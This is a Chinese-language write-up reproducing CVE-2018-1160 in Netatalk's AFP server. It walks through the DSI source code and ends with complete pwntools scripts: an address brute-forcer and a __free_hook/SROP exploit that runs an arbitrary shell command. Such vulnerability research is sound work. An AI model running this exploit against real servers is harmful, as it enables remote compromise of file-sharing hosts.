CVE-2018-1160 复现研究

警告
本文最后更新于 2023-06-26,文中内容可能已过时。

漏洞介绍

Netatalk是一个Apple Filing Protocol(AFP)的开源实现,为Unix系统提供了与Macintosh文件共享的功能

CVE-2018-1160是Netatalk下利用memcpy()未检查长度进行覆写的漏洞,可以进行任意地址写

实验环境

Ubuntu 18.04.6 LTS

Netatalk 3.1.11 源码

libc_version=2.27

用pwnable.tw编译好的文件运行LD_PRELOAD=./libc.so LD_LIBRARY_PATH=./ ./afpd -d -F ./afp.conf启动服务

手动编译源代码启动服务参考:https://web.archive.org/web/20210418194818/https://xz.aliyun.com/t/3710

漏洞分析

程序流程

main.c

main.c主要实现解析配置文件、初始化socket、DSI结构体等,完成之后调用dsi_start()函数接受TCP对话,内部调用dsi_getsession解析请求信息

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
    afp_child_t *child = NULL;

    if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
        LOG(log_error, logtype_afpd, "dsi_start: session error: %s", strerror(errno));
        return NULL;
    }

    /* we've forked. */
    if (child == NULL) {
        configfree(obj, dsi);
        afp_over_dsi(obj); /* start a session */
        exit (0);
    }

    return child;
}

DSI

DSI全称是Data Stream Interface,AFP中实现文件共享的会话层协议接口,结构如上

dsi.h文件中的定义如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#define DSI_BLOCKSIZ 16
struct dsi_block {
    uint8_t dsi_flags;       /* packet type: request or reply */
    uint8_t dsi_command;     /* command */
    uint16_t dsi_requestID;  /* request ID */
    union {
        uint32_t dsi_code;   /* error code */
        uint32_t dsi_doff;   /* data offset */
    } dsi_data;
    uint32_t dsi_len;        /* total data length */
    uint32_t dsi_reserved;   /* reserved field */
};

#define DSI_DATASIZ       65536

/* child and parent processes might interpret a couple of these
 * differently. */
typedef struct DSI {
    struct DSI *next;             /* multiple listening addresses */
    AFPObj   *AFPobj;
    int      statuslen;
    char     status[1400];
    char     *signature;
    struct dsi_block        header;
    struct sockaddr_storage server, client;
    struct itimerval        timer;
    int      tickle;            /* tickle count */
    int      in_write;          /* in the middle of writing multiple packets,
                                   signal handlers can't write to the socket */
    int      msg_request;       /* pending message to the client */
    int      down_request;      /* pending SIGUSR1 down in 5 mn */

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    /* DSI readahead buffer used for buffered reads in dsi_peek */
    size_t   dsireadbuf;        /* size of the DSI readahead buffer used in dsi_peek() */
    char     *buffer;           /* buffer start */
    char     *start;            /* current buffer head */
    char     *eof;              /* end of currently used buffer */
    char     *end;

#ifdef USE_ZEROCONF
    char *bonjourname;      /* server name as UTF8 maxlen MAXINSTANCENAMELEN */
    int zeroconf_registered;
#endif

    /* protocol specific open/close, send/receive
     * send/receive fill in the header and use dsi->commands.
     * write/read just write/read data */
    pid_t  (*proto_open)(struct DSI *);
    void   (*proto_close)(struct DSI *);
} DSI;

dsi_getsession

dsi_getsession()的作用是开启一个TCP对话,并将数据保存到DSI结构体中.

dsi_getsession()调用dsi->proto_open()调用dsi_tcp_open()进行TCP消息的接受和处理,父进程继续监听,子进程后面根据dsi->header.dsi_command的值进行不同处理. 如果值为DSIFUNC_OPEN = 0x04,则调用dsi_opensession()初始化session.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
/*!
 * Start a DSI session, fork an afpd process
 *
 * @param childp    (w) after fork: parent return pointer to child, child returns NULL
 * @returns             0 on sucess, any other value denotes failure
 */
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
  pid_t pid;
  int ipc_fds[2];  
  afp_child_t *child;

  if (socketpair(PF_UNIX, SOCK_STREAM, 0, ipc_fds) < 0) {
      LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
      return -1;
  }

  if (setnonblock(ipc_fds[0], 1) != 0 || setnonblock(ipc_fds[1], 1) != 0) {
      LOG(log_error, logtype_dsi, "dsi_getsess: setnonblock: %s", strerror(errno));
      return -1;
  }

  switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
  case -1:
    /* if we fail, just return. it might work later */
    LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
    return -1;

  case 0: /* child. mostly handled below. */
    break;

  default: /* parent */
    /* using SIGKILL is hokey, but the child might not have
     * re-established its signal handler for SIGTERM yet. */
    close(ipc_fds[1]);
    if ((child = server_child_add(serv_children, pid, ipc_fds[0])) ==  NULL) {
      LOG(log_error, logtype_dsi, "dsi_getsess: %s", strerror(errno));
      close(ipc_fds[0]);
      dsi->header.dsi_flags = DSIFL_REPLY;
      dsi->header.dsi_data.dsi_code = htonl(DSIERR_SERVBUSY);
      dsi_send(dsi);
      dsi->header.dsi_data.dsi_code = DSIERR_OK;
      kill(pid, SIGKILL);
    }
    dsi->proto_close(dsi);
    *childp = child;
    return 0;
  }
  
  /* Save number of existing and maximum connections */
  dsi->AFPobj->cnx_cnt = serv_children->servch_count;
  dsi->AFPobj->cnx_max = serv_children->servch_nsessions;

  /* get rid of some stuff */
  dsi->AFPobj->ipc_fd = ipc_fds[1];
  close(ipc_fds[0]);
  close(dsi->serversock);
  dsi->serversock = -1;
  server_child_free(serv_children); 

  switch (dsi->header.dsi_command) {
  case DSIFUNC_STAT: /* send off status and return */
    {
      /* OpenTransport 1.1.2 bug workaround: 
       *
       * OT code doesn't currently handle close sockets well. urk.
       * the workaround: wait for the client to close its
       * side. timeouts prevent indefinite resource use. 
       */
      
      static struct timeval timeout = {120, 0};
      fd_set readfds;
      
      dsi_getstatus(dsi);

      FD_ZERO(&readfds);
      FD_SET(dsi->socket, &readfds);
      free(dsi);
      select(FD_SETSIZE, &readfds, NULL, NULL, &timeout);    
      exit(0);
    }
    break;
    
  case DSIFUNC_OPEN: /* setup session */
    /* set up the tickle timer */
    dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
    dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
    dsi_opensession(dsi);
    *childp = NULL;
    return 0;

  default: /* just close */
    LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
    dsi->proto_close(dsi);
    exit(EXITERR_CLNT);
  }
}

dsi_tcp_open

dsi_tcp_open创建了一个子进程,在子进程中读取header的内容,并将内容保存在dsi->header中,之后读取payload中的内容保存在dsi->commands

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
/* accept the socket and do a little sanity checking */
static pid_t dsi_tcp_open(DSI *dsi)
{
    pid_t pid;
    SOCKLEN_T len;

    len = sizeof(dsi->client);
    dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);

#ifdef TCPWRAP
    {
        struct request_info req;
        request_init(&req, RQ_DAEMON, "afpd", RQ_FILE, dsi->socket, NULL);
        fromhost(&req);
        if (!hosts_access(&req)) {
            LOG(deny_severity, logtype_dsi, "refused connect from %s", eval_client(&req));
            close(dsi->socket);
            errno = ECONNREFUSED;
            dsi->socket = -1;
        }
    }
#endif /* TCPWRAP */

    if (dsi->socket < 0)
        return -1;

    getitimer(ITIMER_PROF, &itimer);
    if (0 == (pid = fork()) ) { /* child */
        static struct itimerval timer = {{0, 0}, {DSI_TCPTIMEOUT, 0}};
        struct sigaction newact, oldact;
        uint8_t block[DSI_BLOCKSIZ];
        size_t stored;

        /* reset signals */
        server_reset_signal();

#ifndef DEBUGGING
        /* install an alarm to deal with non-responsive connections */
        newact.sa_handler = timeout_handler;
        sigemptyset(&newact.sa_mask);
        newact.sa_flags = 0;
        sigemptyset(&oldact.sa_mask);
        oldact.sa_flags = 0;
        setitimer(ITIMER_PROF, &itimer, NULL);

        if ((sigaction(SIGALRM, &newact, &oldact) < 0) ||
            (setitimer(ITIMER_REAL, &timer, NULL) < 0)) {
            LOG(log_error, logtype_dsi, "dsi_tcp_open: %s", strerror(errno));
            exit(EXITERR_SYS);
        }
#endif

        dsi_init_buffer(dsi);

        /* read in commands. this is similar to dsi_receive except
         * for the fact that we do some sanity checking to prevent
         * delinquent connections from causing mischief. */

        /* read in the first two bytes */
        /* dsi_stream_read实现从socket中读取内容到buf中 */
        len = dsi_stream_read(dsi, block, 2);
        if (!len ) {
            /* connection already closed, don't log it (normal OSX 10.3 behaviour) */
            exit(EXITERR_CLOSED);
        }
        if (len < 2 || (block[0] > DSIFL_MAX) || (block[1] > DSIFUNC_MAX)) {
            LOG(log_error, logtype_dsi, "dsi_tcp_open: invalid header");
            exit(EXITERR_CLNT);
        }

        /* read in the rest of the header */
        stored = 2;
        while (stored < DSI_BLOCKSIZ) {
            len = dsi_stream_read(dsi, block + stored, sizeof(block) - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }

        dsi->header.dsi_flags = block[0];
        dsi->header.dsi_command = block[1];
        memcpy(&dsi->header.dsi_requestID, block + 2,
               sizeof(dsi->header.dsi_requestID));
        memcpy(&dsi->header.dsi_data.dsi_code, block + 4, sizeof(dsi->header.dsi_data.dsi_code));
        memcpy(&dsi->header.dsi_len, block + 8, sizeof(dsi->header.dsi_len));
        memcpy(&dsi->header.dsi_reserved, block + 12,
               sizeof(dsi->header.dsi_reserved));
        dsi->clientID = ntohs(dsi->header.dsi_requestID);

        /* make sure we don't over-write our buffers. */
        dsi->cmdlen = min(ntohl(dsi->header.dsi_len), dsi->server_quantum);

        stored = 0;
        while (stored < dsi->cmdlen) {
            len = dsi_stream_read(dsi, dsi->commands + stored, dsi->cmdlen - stored);
            if (len > 0)
                stored += len;
            else {
                LOG(log_error, logtype_dsi, "dsi_tcp_open: stream_read: %s", strerror(errno));
                exit(EXITERR_CLNT);
            }
        }

        /* stop timer and restore signal handler */
#ifndef DEBUGGING
        memset(&timer, 0, sizeof(timer));
        setitimer(ITIMER_REAL, &timer, NULL);
        sigaction(SIGALRM, &oldact, NULL);
#endif

        LOG(log_info, logtype_dsi, "AFP/TCP session from %s:%u",
            getip_string((struct sockaddr *)&dsi->client),
            getip_port((struct sockaddr *)&dsi->client));
    }

    /* send back our pid */
    return pid;
}

dsi_opensession

dsi_opensession()根据dsi->commands[0]判断,如果是DSIOPT_ATTNQUANT = 0x01,则读入dsi->commands[1]长度的dsi->commands[2]的内容,保存在dis->attn_quantum中.

之后dsi_opensession()会重新构建dsi->headerdsi->commands,返回dsi->server_quantum给客户端

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
/* OpenSession. set up the connection */
void dsi_opensession(DSI *dsi)
{
  uint32_t i = 0; /* this serves double duty. it must be 4-bytes long */
  int offs;

  if (setnonblock(dsi->socket, 1) < 0) {
      LOG(log_error, logtype_dsi, "dsi_opensession: setnonblock: %s", strerror(errno));
      AFP_PANIC("setnonblock error");
  }

  /* parse options */
  while (i < dsi->cmdlen) {
    switch (dsi->commands[i++]) {
    case DSIOPT_ATTNQUANT:
      memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);
      dsi->attn_quantum = ntohl(dsi->attn_quantum);

    case DSIOPT_SERVQUANT: /* just ignore these */
    default:
      i += dsi->commands[i] + 1; /* forward past length tag + length */
      break;
    }
  }

  /* let the client know the server quantum. we don't use the
   * max server quantum due to a bug in appleshare client 3.8.6. */
  dsi->header.dsi_flags = DSIFL_REPLY;
  dsi->header.dsi_data.dsi_code = 0;
  /* dsi->header.dsi_command = DSIFUNC_OPEN;*/

  dsi->cmdlen = 2 * (2 + sizeof(i)); /* length of data. dsi_send uses it. */

  /* DSI Option Server Request Quantum */
  dsi->commands[0] = DSIOPT_SERVQUANT;
  dsi->commands[1] = sizeof(i);
  i = htonl(( dsi->server_quantum < DSI_SERVQUANT_MIN || 
	      dsi->server_quantum > DSI_SERVQUANT_MAX ) ? 
	    DSI_SERVQUANT_DEF : dsi->server_quantum);
  memcpy(dsi->commands + 2, &i, sizeof(i));

  /* AFP replaycache size option */
  offs = 2 + sizeof(i);
  dsi->commands[offs] = DSIOPT_REPLCSIZE;
  dsi->commands[offs+1] = sizeof(i);
  i = htonl(REPLAYCACHE_SIZE);
  memcpy(dsi->commands + offs + 2, &i, sizeof(i));
  dsi_send(dsi);
}

漏洞利用

注意到dsi_opensession()中的memcpy(&dsi->attn_quantum, dsi->commands + i + 1, dsi->commands[i]);

这里并没有检查dsi->commands[1]的长度,而且dsi->commands[2]是我们发送的包里面的内容,也就是说memcpy中的数据内容、长度都是可控的,我们可以覆写dsi结构体里dsi->attn_quantum之后的内容

所以具体的攻击方式就是:在同一个socket中发两次包,第一次控制memcpy的长度从而覆盖dsi->commands为目标地址,第二次发送的消息触发dsi_stream_receive()里面的dsi_stream_read()函数,向目标地址中写入任意内容

再重新看一下dsi结构体的内容

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
typedef struct DSI {

    ...

    uint32_t attn_quantum, datasize, server_quantum;
    uint16_t serverID, clientID;
    uint8_t  *commands; /* DSI recieve buffer */
    uint8_t  data[DSI_DATASIZ];    /* DSI reply buffer */
    size_t   datalen, cmdlen;
    off_t    read_count, write_count;
    uint32_t flags;             /* DSI flags like DSI_SLEEPING, DSI_DISCONNECTED */
    int      socket;            /* AFP session socket */
    int      serversock;        /* listening socket */

    ...

}

因为数据长度是dsi->commands[1],所以我们最多可以覆写0xff字节的数据,所以覆写的数据可以一直覆盖到data[DSI_DATASIZ]

查看afp.conf

[Global]               
afp port = 5566        
disconnect time = 0    
max connections = 1000 
sleep time = 0

可以看到服务开放在5566端口,直接连接到127.0.0.1:5566

写一个简单的PoC看一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# -*- coding:utf-8 -*-
from pwn import *
import struct

context(log_level="debug")

ip = "127.0.0.1"
port = 5566

p = remote(ip, port)

def buildHeader(data):
    dsi_header = "\x00"
    dsi_header += "\x04"
    dsi_header += "\x00\x01"
    dsi_header += p32(0)
    dsi_header += struct.pack(">I", len(data))
    dsi_header += p32(0)
    return dsi_header

dsi_opensession = "\x01" # DSIOPT_ATTNQUANT
dsi_opensession += p8(0x18) # data length
dsi_opensession += "A" * 0x10 + p64(0xdeadbeefcafebabe)

dsi_header = buildHeader(dsi_opensession)

dsi_data = dsi_header + dsi_opensession

p.send(dsi_data)
p.recv()

pause()

p.interactive()

利用sudo gdb --pid [pid] -q连接到正在运行的进程中,因为本文的进程是在子进程中进行的,所以给gdb设置set follow-fork-mode child跟踪子进程,这样就会自动在子进程中调试了

RIP地址的操作是movzx eax, byte ptr [rcx + r9],因为对[rcx+r9]地址非法解引用了,所以进程停止,记录下崩溃的地址打个断点,然后打一发正好覆盖掉attn_quantumdatasize的PoC看一下结构体位置,此时它会返回server_quantum,正好是我们覆写的内容

pwndbg用search匹配字符串得到

[heap] 0x5584a51821b0 0x1000064616564 /* 'dead' */

可以看到0x00007f48c77da010就是dsi->commands

vmmap看一下内存分布,dsi->commands是一个比较奇怪的地址

根据初始化DSI的过程,dsi->commandsmalloc分配的,但是dsi->server_quantum的初始值为DSI_SERVQUANT_DEF = 0x100000L,超过了brk()能分配的范围,所以是mmap分配的内存空间,上面的地址的含义就是mmap的地址

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
/*!
 * Allocate DSI read buffer and read-ahead buffer
 */
static void dsi_init_buffer(DSI *dsi)
{
    if ((dsi->commands = malloc(dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }

    /* dsi_peek() read ahead buffer, default is 12 * 300k = 3,6 MB (Apr 2011) */
    if ((dsi->buffer = malloc(dsi->dsireadbuf * dsi->server_quantum)) == NULL) {
        LOG(log_error, logtype_dsi, "dsi_init_buffer: OOM");
        AFP_PANIC("OOM in dsi_init_buffer");
    }
    dsi->start = dsi->buffer;
    dsi->eof = dsi->buffer;
    dsi->end = dsi->buffer + (dsi->dsireadbuf * dsi->server_quantum);
}

当覆写的dsi->commands地址不合法时,dis->server_quantum放到dis->commands因访问了非法的地址导致崩溃

因为子进程和父进程使用的内存空间是一致的,所以可以根据这个原理爆破出mmap的地址,需要注意的是,如果直接爆破有可能爆破出来的地址比libc.so的地址高,也有可能比libc.so的地址低,原因是只要能够进行写的操作那就是合法的地址,但mmap的地址在调试过程中是比libc.so的地址要高的,所以和调试保持一致,部分位倒序爆破,爆破代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
def buildHeader(data):
    dsi_header = "\x00"
    dsi_header += "\x04"
    dsi_header += "\x00\x01"
    dsi_header += p32(0)
    dsi_header += struct.pack(">I", len(data))
    dsi_header += p32(0)
    return dsi_header

def packCommands(addr, index, num):
    # build commands
    dsi_opensession = "\x01" # DSIOPT_ATTNQUANT value
    dsi_opensession += p8(0x10 + index + 1)
    dsi_opensession += "A" * 0x10 + addr + p8(num)
    # build dsi_header
    dsi_header = buildHeader(dsi_opensession)
    dsi_data = dsi_header + dsi_opensession
    return dsi_data

def bruteForce():
    leak_addr = ""
    for index in range(8):
        for num in range(256):
            if 1 < index and index < 6:
                num = 255 - num
            io = remote("127.0.0.1", 5566)
            payload = packCommands(leak_addr, index, num)
            # print(payload)
            io.send(payload)
            try:
                r = io.recv()
                leak_addr += p8(num)
                log.success(str(hex(num)))
                io.close()
                break
            except:
                io.close()
    return u64(leak_addr)

爆破出来mmap地址就能爆破出libc的基址了,自然就可以改写地址进行控制流劫持了

在系统环境、动态库确定的情况,offset是确定的,远程需要爆破一下libc基址,本地直接在gdb里面算出来

下面是两种常见的劫持方法,更多函数看 CTF Pwn 题中 libc 可用 函数指针 (攻击位置) 整理

_rtld_global

_rtld_global的原理是进程在exit的时候会调用一个函数指针,而这个函数指针以及参数都在_rtld_global这个结构体里面

函数指针:_dl_rtld_lock_recursive (_rtld_global+2312)

调用参数:_dl_load_lock (_rtld_global+3840)

由于进程无法主动停止,所以可以直接在gdb里面调用函数,方法是pwndbg> p [expr],有可能会返回

'exit' has unknown return type; cast the call to its declared return type

给函数前加上返回类型就行了

可以看到写入成功

__free_hook

__free_hook的思路和_rtld_global一样,控制参数然后调用函数就能劫持控制流

这里是利用SROP构建一个gadget链,执行system( [cmd] )

libc-2.27.so中有一个很方便的gadget:setcontext,这个gadget会对寄存器依次赋值,值的内容和rdi有关

但是这样就又要控制rdi并且要求rdi指向的内存可控,这里利用libc_dlopen_mode中的一段代码

.text:0000000000166488 48 8B 05 19 A0 28 00          mov     rax, cs:_dl_open_hook
.text:000000000016648F FF 10                         call    qword ptr [rax]

这一段代码将_dl_open_hook指向的内存赋给rax,然后调用rax指向的内存地址. _dl_open_hook的位置位于_free_hook + 0x2BC0,且*_dl_open_hook = _dl_open_hook + 8

然后ROPgadget找一下mov rdi, rax相关的内容,可以找到

0x000000000007ea1f : mov rdi, rax ; call qword ptr [rax + 0x20]
0x0000000000086315 : mov rdi, rax ; call qword ptr [rax + 8]

用哪个都可以,这里用第一个

所以可以构造出payload

注意,因为rdi距离SigreturnFrame0x28字节的距离,所以SigreturnFrame要跳过前0x28字节

PoC

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
# -*- coding:utf-8 -*-
from distutils.command.build import build
from pwn import *
import struct

context(arch="amd64", log_level="debug")

ip = "127.0.0.1"
port = 5566
libc = ELF("./libc.so")

CMD = b'bash -c "cat /home/carol/flag > /home/carol/Desktop/flag.txt"'

# p = remote("127.0.0.1", 5566) # netatalk localdomain:port
# p = remote("chall.pwnable.tw", 10002)

"""

    dsi漏洞点调用顺序:
                                                            --> dsi_tcp_open()
                                                            |
    main.c/@dsi_start() -> dsi_getsess.c/@dsi_getsession() -|
                                                            |
                                                            --> dsi_opensession() 漏洞位置

"""

def buildHeader(data):
    dsi_header = "\x00"
    dsi_header += "\x04"
    dsi_header += "\x00\x01"
    dsi_header += p32(0)
    dsi_header += struct.pack(">I", len(data))
    dsi_header += p32(0)
    return dsi_header

def packCommands(addr, index, num):
    # build commands
    dsi_opensession = "\x01" # DSIOPT_ATTNQUANT value
    dsi_opensession += p8(0x10 + index + 1)
    dsi_opensession += "A" * 0x10 + addr + p8(num)
    # build dsi_header
    dsi_header = buildHeader(dsi_opensession)
    dsi_data = dsi_header + dsi_opensession
    return dsi_data

def modifyCommands(io, addr):
    #build commands
    dsi_opensession = "\x01"
    dsi_opensession += p8(0x18)
    dsi_opensession += "A" * 0x10 + p64(addr)
    # build dsi_header
    dsi_header = buildHeader(dsi_opensession)
    dsi_data = dsi_header + dsi_opensession
    io.send(dsi_data)
    try:
        reply = io.recv()
        return reply # it will retrun "AAAA"
    except:
        return None

def bruteForce():
    leak_addr = ""
    for index in range(8):
        for num in range(256):
            if 1 < index and index < 6:
                num = 255 - num
            # io = remote("chall.pwnable.tw", 10002)
            io = remote(ip, port)
            payload = packCommands(leak_addr, index, num)
            # print(payload)
            io.send(payload)
            try:
                r = io.recv()
                leak_addr += p8(num)
                log.success(str(hex(num)))
                io.close()
                break
            except:
                io.close()
    return u64(leak_addr)

def anyAddressWrite(io, data):
    dsi_payload = data
    dsi_header = buildHeader(data)
    dsi_data = dsi_header + dsi_payload
    io.send(dsi_data)

def exploit(leak_addr, cmd):

    libc_base = leak_addr - 0x61c000
    free_hook = libc_base + libc.sym["__free_hook"]
    dl_open_hook = libc_base + libc.sym["_dl_open_hook"]
    system_addr = libc_base + libc.sym["system"]
    setcontext_53 = libc_base + 0x520A5

    """
    
    libc_dlopen_mode:
        mov     rax, cs:_dl_open_hook
        call    qword ptr [rax] 

    """

    libc_dlopen_mode_56 = libc_base + 0x166488
    
    """

    mov     rdi, rax
    call    qword ptr [rax + 0x20]

    """

    fgetpos64_207 = libc_base + 0x7EA1F

    io = remote(ip, port)
    modifyCommands(io, free_hook)

    sigframe = SigreturnFrame(kernel="amd64")
    sigframe.rip = system_addr
    sigframe.rdi = free_hook + 8
    sigframe.rsp = free_hook

    payload = p64(libc_dlopen_mode_56)
    payload += cmd.ljust(0x2BB8, "\x00")
    payload += p64(dl_open_hook + 8)
    payload += p64(fgetpos64_207)
    payload += "A" * 0x18
    payload += p64(setcontext_53)
    payload += bytes(sigframe)[0x28:]

    # print(unpack_many(bytes(sigframe)))

    anyAddressWrite(io, payload)

    io.close()



if __name__ == "__main__":
    # leak_addr = bruteForce()
    leak_addr = 0x7fdc64338000

    log.success("Find! {} => {}".format(leak_addr, hex(leak_addr)))
    
    exploit(leak_addr, CMD)

参考

0%